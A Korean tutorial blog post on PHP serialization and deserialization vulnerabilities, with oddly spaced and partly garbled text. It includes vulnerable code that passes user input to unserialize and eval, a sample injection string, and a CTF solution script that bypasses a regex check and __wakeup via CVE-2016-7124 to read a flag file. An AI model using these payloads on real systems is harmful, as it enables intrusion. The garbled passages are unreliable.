php 반 서열 화

8895 단어 PHP역 직렬 화
1  머리말
최근 에 도 복습 하기 전에 배 운 내용 인 데,PHP 의 반 서열 화 에 대한 이해 가 더 깊 어 진 것 같 습 니 다.
2  serialize()함수
     “모든 phop 의 값 은 함수 serialize()를 사용 하여 바이트 흐름 을 포함 하 는 문자열 을 되 돌려 표시 할 수 있 습 니 다."대상 을 정렬 하면 대상 의 모든 변 수 를 저장 하지만 대상 을 저장 하 는 방법 은 없고 클래스 의 이름 만 저장 합 니 다."
처음에는 이 개념 이 좀 어 리 석 었 을 지 모 르 지만,그 후에 도 천천히 이해 하 게 되 었 다.
프로그램 이 실 행 될 때 메모리 데 이 터 는 즉시 삭 제 됩 니 다.변수 가 저장 한 데 이 터 는 메모리 데이터 이 고 파일,데이터 베 이 스 는'영구적 데이터'이기 때문에 PHP 직렬 화 는 메모리 의 변수 데 이 터 를 파일 에 저장 하 는 영구적 인 데이터 과정 입 니 다.

 $s = serialize($  ); //                   
 file_put_contents(‘./      ', $s); // $s       
다음은 구체 적 인 예 를 통 해 서열 화 를 알 아 보 겠 습 니 다.

<?php
class User
{
  public $age = 0;
  public $name = '';

  public function PrintData()
  {
    echo 'User '.$this->name.'is'.$this->age.'years old. <br />';
  }
}
//      
$user = new User();
//     
$user->age = 20;
$user->name = 'daye';

//    
$user->PrintData();
//          
echo serialize($user);

?>
이것 은 결과 입 니 다.

한 대상 을 직렬 화 한 후 대상 의 모든 변 수 를 저장 하고 직렬 화 된 결과 에 한 글자 가 있 는 것 을 발견 할 수 있 습 니 다.이 문자 들 은 모두 아래 자모의 줄 임 말 입 니 다.

a - array         b - boolean
d - double         i - integer
o - common object     r - reference
s - string         C - custom object
O - class         N - null
R - pointer reference   U - unicode string
줄 임 말 형식 자 모 를 알 면 PHP 직렬 화 형식 을 얻 을 수 있 습 니 다.

O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"daye";}
    :  :"  ":       :{  :  :" ";  :  :" ";......}
이상 의 예 를 통 해 개념 중의 serialize()함 수 를 통 해 바이트 흐름 을 포함 하 는 문자열 을 되 돌려 주 는 것 을 이해 할 수 있 습 니 다.
3  unserialize()함수
4.567914.단일 한 직렬 화 된 변 수 를 조작 하여 PHP 의 값 으로 변환 합 니 다.대상 을 서열 화하 기 전에 이 대상 의 종 류 는 서열 화 되 기 전에 정의 해 야 한다. 
간단하게 이해 하면 파일 에 저 장 된 데 이 터 를 직렬 화하 더 라 도 프로그램 코드 의 변수 표시 형식 으로 복원 하 는 과정 에서 변수 직렬 화 전의 결과 로 복원 합 니 다.

 $s = file_get_contents(‘./      '); //         (          )
 $   = unserialize($s); //      ,           
하나의 예 를 통 해 반 서열 화 를 이해 하 다.

<?php
class User
{
  public $age = 0;
  public $name = '';

  public function PrintData()
  {
    echo 'User '.$this->name.' is '.$this->age.' years old. <br />';
  }
}
//    
$user = unserialize('O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"daye";}');

$user->PrintData();

?>
이것 은 결과 입 니 다.

주의:대상 을 서열 화하 기 전에 이 대상 의 종 류 는 서열 화하 기 전에 정의 해 야 합 니 다.그렇지 않 으 면 잘못 보고 할 것 이다.
4  PHP 역 직렬 화 구멍
허점 을 배우 기 전에 PHP 마법 함 수 를 알 아 보 는 것 이 다음 학습 에 도움 이 될 것 입 니 다.
PHP 는 모든 것 을 (밑줄 두 개)로 시작 하 는 방법 은 마술 로 보류한다.

__construct             ,
__destruct             ,
__toString                  。
__wakeup()    unserialize   
__sleep()    serialize   
__destruct()          
__call()                     
__callStatic()                     
__get()                
__set()                
__isset()             isset() empty()  
__unset()              unset()   
__toString()              ,         
__invoke()                  
여기에 일부 마법 함수 만 열거 되 어 있 는데,구체 적 으로 볼 수 있다.
https://www.php.net/manual/zh/language.oop5.magic.php
다음은 하나의 예 를 통 해 마법 함수 가 자동 으로 호출 되 는 과정 을 알 아 보 겠 습 니 다.

<?php
class test{
 public $varr1="abc";
 public $varr2="123";
 public function echoP(){
 echo $this->varr1."<br>";
 }
 public function __construct(){
 echo "__construct<br>";
 }
 public function __destruct(){
 echo "__destruct<br>";
 }
 public function __toString(){
 return "__toString<br>";
 }
 public function __sleep(){
 echo "__sleep<br>";
 return array('varr1','varr2');
 }
 public function __wakeup(){
 echo "__wakeup<br>";
 }
}

$obj = new test(); //     ,  __construct()  ,  __construct
$obj->echoP();  //  echoP()  ,  "abc"
echo $obj;  //obj          ,  __toString()  ,  __toString
$s =serialize($obj); //obj      ,  __sleep()  ,  __sleep
echo unserialize($s); //$s        ,   __wake()  ,                 ,    _toString()  。
//         __destruct()  ,  __destruct
?>
이것 은 결과 입 니 다.

이 예 를 통 해 마법 함수 가 해당 조건 에 부합 할 때 호출 되 는 것 을 뚜렷하게 볼 수 있다.
5  개체 주입
사용자 의 요청 이 반 직렬 화 함수 unserialize()에 전달 되 기 전에 올 바른 여과 되 지 않 았 을 때 구멍 이 생 길 수 있 습 니 다.PHP 는 대상 의 직렬 화 를 허용 하기 때문에 공격 자 는 특정한 직렬 화 된 문자열 을 이 구멍 이 있 는 unserialize 함수 에 제출 하여 이 응용 범위 내 에 있 는 임의의 PHP 대상 을 주입 할 수 있 습 니 다.
대상 의 빈틈 은 두 가지 전 제 를 만족 시 켜 야 한다.
       1.unserilize 의 매개 변 수 를 제어 할 수 있 습 니 다. 
       2.코드 에 마술 방법 을 포함 하 는 클래스 가 정의 되 어 있 고 이 방법 에 서 는 클래스 구성원 변 수 를 매개 변수 로 사용 하 는 안전 문제 가 존재 하 는 함수 가 나타 납 니 다.
다음은 예 를 들 어 보 겠 습 니 다.

<?php
class A{
  var $test = "demo";
  function __destruct(){
      echo $this->test;
  }
}
$a = $_GET['test'];
$a_unser = unserialize($a);
?>
예 를 들 어 이 열 은 사용자 가 생 성 한 내용 을 unserialize()함수 에 직접 전달 하면 이런 문 구 를 구성 할 수 있다.

?test=O:1:"A":1:{s:4:"test";s:5:"lemon";}
스 크 립 트 실행 이 끝나 면 호출destruct 함 수 는 test 변 수 를 덮어 쓰 고 lemon 을 출력 합 니 다.

이 구멍 을 발견 하면 이 구멍 을 이용 하여 입력 변 수 를 제어 하고 직렬 화 대상 으로 연결 할 수 있 습 니 다.
예 를 하나 더 보 자.

<?php
class A{
  var $test = "demo";
  function __destruct(){
    @eval($this->test);//_destruct()     eval           
  }
}
$test = $_POST['test'];
$len = strlen($test)+1;
$pp = "O:1:\"A\":1:{s:4:\"test\";s:".$len.":\"".$test.";\";}"; //        
$test_unser = unserialize($pp); //         _destruct  
?>
사실 자세히 살 펴 보면 사실 우리 수 동 구조의 서열 화 대상 은 unserialize()함수 가 촉발 할 수 있 도록destruc()함수,그리고destruc()함수 의 악의 적 인 문구.
그래서 우 리 는 이 구멍 을 이용 하여 웹 셸 을 얻 을 수 있 습 니 다.

6  마법 함수 의 역 직렬 화
wakeup()마법 함수 돌아 가기

PHP5<5.6.25
PHP7<7.0.10
PHP 역 직렬 화 구멍 CVE-2016-7124
\#a\#중점:반 직렬 화 문자열 에서 속성 개수 의 값 이 실제 속성 개수 보다 크 면wakeup 함수 의 실행
바 이 두 컵-Hash

사실 코드 를 자세히 분석 하면 우리 가 두 가 지 를 돌아 가면 f15g 를 얻 을 수 있다.1s_here.php 내용
    (1)정규 표현 식 을 돌아 변수 에 대한 검사
    (2)돌아 가기wakeup()마법 함수,우리 가 반 직렬 화 된 것 이 Gu3ss 가 아니라면m3_h2h2.php,이 마법 함 수 는 반 직렬 화 시 촉발 하여 Gu3ss 로 강제 전 환 됩 니 다.m3_h2h2.php
그러면 문제 가 생 겼 습 니 다.정규 표현 식 을 돌아 가면
(1)/[oc]:\d+:/i,예 를 들 어 o:4:이렇게 하면 일치 하고 돌아 가 는 것 도 간단 합 니 다.+하나만 더 하면 이 정규 표현 식 은 0:+4 에 맞지 않 습 니 다.
(2)돌아 가기wakeup()마법 함수,위 에서 언급 한 역 직렬 화 문자열 에서 속성 개수 의 값 이 실제 속성 개수 보다 클 때 돌아 갑 니 다wakeup 함수 의 실행
php 직렬 화 스 크 립 트 작성

<?php
class Demo {
  private $file = 'Gu3ss_m3_h2h2.php';

  public function __construct($file) {
    $this->file = $file;
  }

  function __destruct() {
    echo @highlight_file($this->file, true);
  }

  function __wakeup() {
    if ($this->file != 'Gu3ss_m3_h2h2.php') {
      //the secret is in the f15g_1s_here.php
      $this->file = 'Gu3ss_m3_h2h2.php';
    }
  }
}
#       ,    __construct    
$obj = new Demo('f15g_1s_here.php');
#     
$a = serialize($obj);
#  str_replace()       ,           
$a = str_replace('O:4:','O:+4:',$a);
#  str_replace()       ,   __wakeup()    
$a = str_replace(':1:',':2:',$a);
#   base64  
echo base64_encode($a);
?>
이상 은 phop 반 직렬 화 에 대한 상세 한 내용 입 니 다.phop 반 직렬 화 에 관 한 자 료 는 저희 의 다른 관련 글 에 주목 하 시기 바 랍 니 다!

좋은 웹페이지 즐겨찾기